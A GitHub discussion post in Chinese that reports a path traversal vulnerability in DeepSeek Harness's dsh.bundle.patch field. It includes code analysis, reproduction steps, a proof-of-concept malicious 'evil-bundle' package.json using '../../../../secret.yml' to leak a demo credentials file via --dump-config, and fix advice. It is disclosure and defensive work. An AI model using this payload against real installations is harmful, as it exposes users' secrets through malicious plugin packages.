[Security]DeepSeek Harness dsh.bundle.patch 清单字段路径遍历,可读取 bundle 包目录之外的任意 YAML/JSON 文件
#3354
rockmelodies
started this conversation in
General
Replies: 0 comments
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Uh oh!
There was an error while loading. Please reload this page.
一、产品介绍
DeepSeek Harness(
@deepseek-ai/dsh)是 DeepSeek 开源的一个 AI Agent 开发与运行框架(CLI)。它基于 Cordis 依赖注入 / 插件加载器架构,通过「profile + patch 层」的组合模型管理插件树:每个 profile(位于$DSH_HOME/profiles/<name>)由多个 bundle 层、用户补丁层(cordis.patch.yml)以及--patchoverlay 层叠加而成。bundle 是 npm 包,其package.json通过"dsh": { "bundle": { "patch": "<相对路径>" } }声明自己导出的补丁层。用户通过dsh plugin --profile <name> add <package>安装第三方插件,通过dsh --profile <name> --dump-config/--dump-default-config查看配置树。仓库地址github.com/deepseek-ai/deepseek-harness。二、漏洞标题
DeepSeek Harness
loadProfile未校验dsh.bundle.patch声明路径,path.join拼接攻击者控制的../段导致路径遍历,配合dsh --profile <name> --dump-config可读取并输出 bundle 包目录之外的任意 YAML/JSON 文件三、漏洞描述
dsh在加载 profile 的 bundle 层时(packages/boot/app-boot/src/profile.ts的loadProfile),读取每个 bundle 的package.json,取出其声明的dsh.bundle.patch字段值(记为declared),仅校验该值是否为undefined,随后直接path.join(packageDir, declared)拼出补丁文件的绝对路径并读取。由于
declared完全由 bundle 包的package.json控制(即攻击者通过dsh plugin add安装的恶意包可控),且拼接前没有任何路径包含/越界校验,攻击者可以在declared中写入../段或绝对路径,使path.join逃逸出 bundle 包目录,指向包目录之外的任意文件。loadProfile随后用loadOverlayPatches读取该越界路径并解析为 dsh 补丁列表。配合诊断命令
dsh --profile <name> --dump-config/--dump-default-config(该命令只解析、不 boot、不求值!!js),被遍历文件的解析内容会输出到 stdout,从而泄露包目录之外的任意 YAML / JSON 文件内容(如含凭据的配置文件)。这一信息泄露影响与已报告的!!js任意代码执行(eval 汇点)相互独立:在正常启动(boot)路径下,被遍历文件若含!!js表达式同样会被求值(汇入已报告的同一 eval 汇点);而--dump-config路径则是在不执行任何代码的前提下泄露文件内容。四、漏洞分析
漏洞由「安装环节无声明校验」与「加载环节无路径校验」两段叠加构成,根因是
loadProfile中的一次未校验的path.join。(1)安装环节:
dsh plugin add仅凭dsh.bundle.patch !== undefined判定 bundle,不校验路径内容 —apps/cli/src/plugin.ts:36-45随后
reconcilePlugins(apps/cli/src/plugin.ts:59-91)把该依赖名加入dsh.profile.bundles层栈。攻击者控制的patch值原样通过。(2)加载环节:
loadProfile提取未校验的declared并用join拼接 —packages/boot/app-boot/src/profile.ts:388-396path.join(packageDir, declared)会把declared中的..段解析为上级目录,当declared = "../../../../secret.yml"时,patchPath从$DSH_HOME/profiles/<name>/node_modules/<pkg>/上溯 4 层,落在$DSH_HOME/secret.yml。(3)越界文件被读取并解析为补丁列表 —
packages/boot/app-boot/src/index.ts:298-338(4)
--dump-config把解析内容渲染到 stdout —apps/cli/src/dump-config.ts:30-52→apps/cli/src/profile-boot.ts:98-103prepareProfile(profile-boot.ts:98-103)先healProfilesModuleFallback再loadProfile,是 boot 与 dump 两条路径共同的前置,因此本漏洞在正常启动时同样触发读取(越界文件中的!!js会汇入已报告的 eval 汇点)。漏洞根因一句话:
loadProfile对「bundle 包自身声明的patch路径」这一攻击者可控输入,只做了undefined判空,缺少「拼接结果必须仍位于packageDir之内」的包含校验。五、漏洞影响版本
@deepseek-ai/dsh≤0.1.0-rc.5(当前master分支版本;本次复现实测dsh --version输出0.1.0-rc.5)六、漏洞等级
中危(Medium)
七、CVSS 向量
八、漏洞复现过程
8.1 复现环境
E:\tulongfeng\8.17\deepseek-harness(master分支,0.1.0-rc.5,已pnpm install+ build)E:\tulongfeng\8.17\02\poc\(DSH_HOME指向02/poc/home,不污染真实~/.dsh)环境准备(Git Bash;
dsh已安装,无需进入仓库目录):export PATH="/e/tulongfeng/8.17/node-v24.19.0-win-x64:$PATH" # 让 dsh 命令可用(node24 目录)
export DSH_HOME="E:/tulongfeng/8.17/02/poc/home" # 隔离实验目录,不污染 ~/.dsh
hash -r
8.2 复现步骤
步骤 1 —— 放置越界目标文件(bundle 包目录之外的敏感文件)
在
$DSH_HOME/secret.yml(远离任何 bundle 包目录)写入一段可解析为补丁列表的「敏感内容」:config:
databasePassword: "Sup3rSecret-DB-Passw0rd"
internalApiToken: "tok_path_traversal_leak_1234567890"
note: "EXFILTRATED-VIA-dsh.bundle.patch-PATH-TRAVERSAL"
步骤 2 —— 构造恶意 bundle 包
其
package.json声明dsh.bundle.patch = "../../../../secret.yml"(4 层../上溯到$DSH_HOME):{
"name": "evil-bundle",
"version": "1.0.0",
"dsh": {
"bundle": {
"patch": "../../../../secret.yml"
}
}
}
步骤 3 —— 通过
dsh plugin add安装恶意包(完整攻击面)dsh plugin --profile poc add "file:E:/tulongfeng/8.17/02/poc/evil-bundle"
pnpm 安装成功后,
reconcilePlugins自动把evil-bundle加入dsh.profile.bundles:"dsh": { "profile": { "bundles": ["@deepseek-ai/dsh-base", "evil-bundle"] } }
步骤 4 —— 执行
--dump-config,观察越界文件内容泄露dsh --profile poc --dump-config
dsh --profile poc --dump-default-config
九、漏洞复现 PoC
恶意 bundle 的
package.json(核心 payload){
"name": "evil-bundle",
"version": "1.0.0",
"dsh": {
"bundle": {
"patch": "../../../../secret.yml"
}
}
}
越界目标文件
$DSH_HOME/secret.yml(用于演示被泄露的敏感内容)config:
databasePassword: "Sup3rSecret-DB-Passw0rd"
internalApiToken: "tok_path_traversal_leak_1234567890"
note: "EXFILTRATED-VIA-dsh.bundle.patch-PATH-TRAVERSAL"
复现命令
环境准备(Git Bash,见 8.1)
export PATH="/e/tulongfeng/8.17/node-v24.19.0-win-x64:$PATH"
export DSH_HOME="<实验 home,如 E:/tulongfeng/8.17/02/poc/home>"
方式一(完整攻击面):安装恶意包
dsh plugin --profile poc add "file:<恶意包绝对路径>/evil-bundle"
方式二(最小等价):直接把 evil-bundle 放入 $DSH_HOME/profiles//node_modules/ 并写入 bundles
触发信息泄露(两者任一)
dsh --profile poc --dump-config
dsh --profile poc --dump-default-config
十、修复建议
loadProfile中对declared做路径包含校验:用resolve(packageDir, declared)得到绝对路径后,校验其结果仍位于packageDir之内(path.relative(packageDir, patchPath)不以..开头且非绝对路径逃逸),否则拒绝加载并报错。..段与符号链接逃逸;与!!js修复建议一致,可考虑签名校验 / 包来源白名单。exportsPatch/reconcilePlugins(apps/cli/src/plugin.ts)安装判定环节复用同一路径校验,避免恶意声明在安装期就进入dsh.profile.bundles。--dump-config/--dump-default-config输出的补丁来源标签目前只显示layer.packageName而非真实文件路径,建议在 dump 中显式标注每个补丁层的解析路径,便于审计异常来源。All reactions